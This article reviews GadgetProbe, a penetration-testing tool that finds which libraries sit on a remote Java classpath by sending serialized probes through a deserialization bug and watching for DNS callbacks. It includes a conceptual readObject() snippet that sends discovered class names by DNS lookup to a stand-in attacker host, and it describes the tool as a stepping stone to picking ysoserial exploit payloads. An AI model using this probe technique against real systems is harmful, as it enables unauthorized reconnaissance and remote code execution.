Back to Articles

GadgetProbe: Mapping Remote Java Classpaths Through Deserialization Side Channels

[ View on GitHub ]

GadgetProbe: Mapping Remote Java Classpaths Through Deserialization Side Channels

Hook

Finding a Java deserialization vulnerability is like discovering a locked door—but without knowing what's behind it, you can't pick the lock. GadgetProbe turns that blind vulnerability into a window.

Context

Java deserialization vulnerabilities have plagued enterprise applications since at least 2015, when the security community realized that allowing untrusted data to reconstruct arbitrary object graphs was fundamentally dangerous. Tools like ysoserial emerged to weaponize this attack vector, providing pre-built "gadget chains"—sequences of method calls across common libraries that could achieve remote code execution. But there was a chicken-and-egg problem: ysoserial requires you to know which libraries exist on the target classpath before you can select the right payload. If you guess wrong, nothing happens. You're left with a confirmed deserialization bug but no path to exploitation.

This reconnaissance gap became particularly painful during penetration tests. You might spend hours or days trying different ysoserial payloads against a blind deserialization endpoint, hoping one would land. Some testers resorted to analyzing client-side JavaScript for framework clues or scraping error messages for version numbers. Others gave up entirely, reporting the vulnerability as "unexploitable" despite knowing it was theoretically critical. GadgetProbe emerged from Bishop Fox's offensive security practice to solve this exact problem: systematically enumerate what classes and libraries exist on a remote Java classpath by exploiting the deserialization vulnerability itself as an information channel.

Technical Insight

Callback Collection

Remote Execution

Payload Generation

Class Exists

Class Not Found

Wordlist of Classes

GadgetProbe Core

Javassist Bytecode Generator

Serialized Probe Payloads

Target Java Application

Class.forName Execution

DNS Lookup Triggered

Silent Failure

Controlled DNS Server

Burp Collaborator / CLI Logger

Classpath Enumeration Results

System architecture — auto-generated

GadgetProbe's architecture is built on a clever insight: you don't need a class to exist locally to check if it exists remotely. The tool uses Javassist, a bytecode manipulation library, to dynamically generate serialized Java objects that perform runtime class loading checks when deserialized. Each probe payload is essentially a miniature reconnaissance agent encoded as bytecode.

Here's the core mechanism. When you serialize a Java object normally, it captures the object's state and class information. But GadgetProbe creates objects that contain executable bytecode instructions. When the target deserializes this payload, it doesn't just reconstruct an object—it executes code that attempts to load a specific class using Class.forName(). If that class exists, the bytecode triggers a DNS lookup to a controlled nameserver with the class name encoded in the subdomain. If the class doesn't exist, the ClassNotFoundException is caught silently and no callback occurs.

// Simplified conceptual example of what GadgetProbe generates
public class ProbePayload implements Serializable {
    private void readObject(ObjectInputStream in) 
        throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        
        String targetClass = "org.apache.commons.collections.functors.InvokerTransformer";
        try {
            Class.forName(targetClass);
            // Class exists! Exfiltrate via DNS
            InetAddress.getByName(
                targetClass.replace(".", "-") + ".probe.attacker.com"
            );
        } catch (ClassNotFoundException e) {
            // Class doesn't exist, fail silently
        }
    }
}

The actual implementation is more sophisticated. GadgetProbe doesn't hardcode the target class into each payload—that would require generating thousands of unique serialized objects. Instead, it uses Javassist to inject the class name as a runtime parameter while keeping the bytecode structure identical. This allows for efficient batch generation and reduces payload size.

The Burp Suite integration elevates this from a clever trick to a practical penetration testing tool. When running as a Burp extension, GadgetProbe hooks into Intruder for automated payload delivery and Collaborator for DNS callback tracking. You provide a wordlist of interesting classes (the tool includes curated lists of common gadget chain components), and GadgetProbe automatically generates probes, sends them through Intruder, and correlates DNS callbacks with the tested classes. Within minutes, you have a complete map of available libraries.

The version fingerprinting capability is particularly elegant. After identifying that a library like Apache Commons Collections exists, GadgetProbe sends additional probes that check for version-specific classes or methods. For example, Commons Collections 3.1 includes certain classes that were removed in 3.2.1, while 4.0 introduced new packages. By testing for these version-specific indicators, GadgetProbe can narrow down not just "Commons Collections exists" but "Commons Collections 3.1 is present"—precisely the information you need to select the correct ysoserial payload.

The DNS exfiltration channel is both the tool's greatest strength and a necessary constraint. DNS was chosen because it's rarely blocked outbound, operates over UDP (reducing connection overhead), and doesn't require a full HTTP stack. The tool supports custom DNS servers, allowing you to run your own authoritative nameserver for complete operational security, or you can leverage Burp Collaborator's infrastructure for convenience. Each DNS query encodes the probed class name in the subdomain, making correlation straightforward even when testing hundreds of classes concurrently.

Under the hood, GadgetProbe must carefully handle Java's serialization protocol quirks. The tool generates objects that implement Serializable and override readObject()—the method called during deserialization. This is where the probe logic executes. But Java's deserialization process validates object stream headers, class descriptors, and type hierarchies. GadgetProbe's bytecode generation must produce valid serialization streams that survive these checks while still embedding the reconnaissance payload. Javassist handles much of this complexity, but the tool includes additional logic to ensure compatibility across different JVM versions and security manager configurations.

Gotcha

GadgetProbe's DNS-based exfiltration is both elegant and fragile. In environments with strict egress filtering, DNS security controls like DNSSEC validation, or air-gapped networks, the tool simply won't work—you'll send probes into the void and receive no callbacks. Modern enterprises increasingly deploy DNS firewalls that block suspicious subdomain patterns or rate-limit queries, which can interfere with large-scale enumeration. You might successfully identify the first dozen classes before your traffic gets flagged and blocked. The tool provides no fallback mechanism; DNS is the only supported exfiltration channel.

Deserialization filters, introduced in Java 9 and backported to 8u121, present another significant hurdle. If the target application uses ObjectInputFilter to whitelist allowed classes or blacklist dangerous ones, your probes may never reach the readObject() execution point. The deserialization process will reject the payload before your reconnaissance code runs. GadgetProbe can't bypass these filters—it requires that basic deserialization succeeds. Similarly, custom class loaders or security managers that restrict reflection or dynamic class loading can prevent Class.forName() from working as expected. The tool assumes a relatively permissive deserialization environment, which is increasingly unrealistic in hardened applications.

Performance and stealth are trade-offs you'll need to manage manually. Testing a comprehensive wordlist of 5,000 classes means sending 5,000 serialized payloads and waiting for DNS callbacks. Even at one probe per second, that's over an hour of sustained traffic—noisy, slow, and likely to trigger monitoring alerts. Web application firewalls may detect repeated deserialization attempts or unusual DNS patterns. GadgetProbe provides no built-in throttling, obfuscation, or detection evasion. You're responsible for tuning your attack to match the target's tolerance.

Verdict

Use GadgetProbe if: you've confirmed a Java deserialization vulnerability through other means (error messages, timing attacks, or blind payloads causing application behavior changes) but can't get standard ysoserial payloads to execute, and the target environment permits outbound DNS. It's invaluable during penetration tests where you need to demonstrate real impact or develop custom exploits, especially against bespoke enterprise applications where the classpath composition is completely unknown. The Burp integration makes it practical for security consultants who need to move quickly from finding a bug to proving exploitability. Skip it if: you're dealing with hardened environments that implement deserialization filters or egress controls, you already have classpath knowledge through other reconnaissance (application errors, source code access, or framework fingerprinting), or you're conducting research where stealth matters more than comprehensive enumeration. It's also overkill for CTF scenarios or known-vulnerable practice applications where the classpath is documented. This is a specialized bridging tool that fills the gap between vulnerability discovery and exploitation—powerful in that specific context, but not a general-purpose security scanner.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/bishopfox-gadgetprobe.svg)](https://starlog.is/api/badge-click/cybersecurity/bishopfox-gadgetprobe)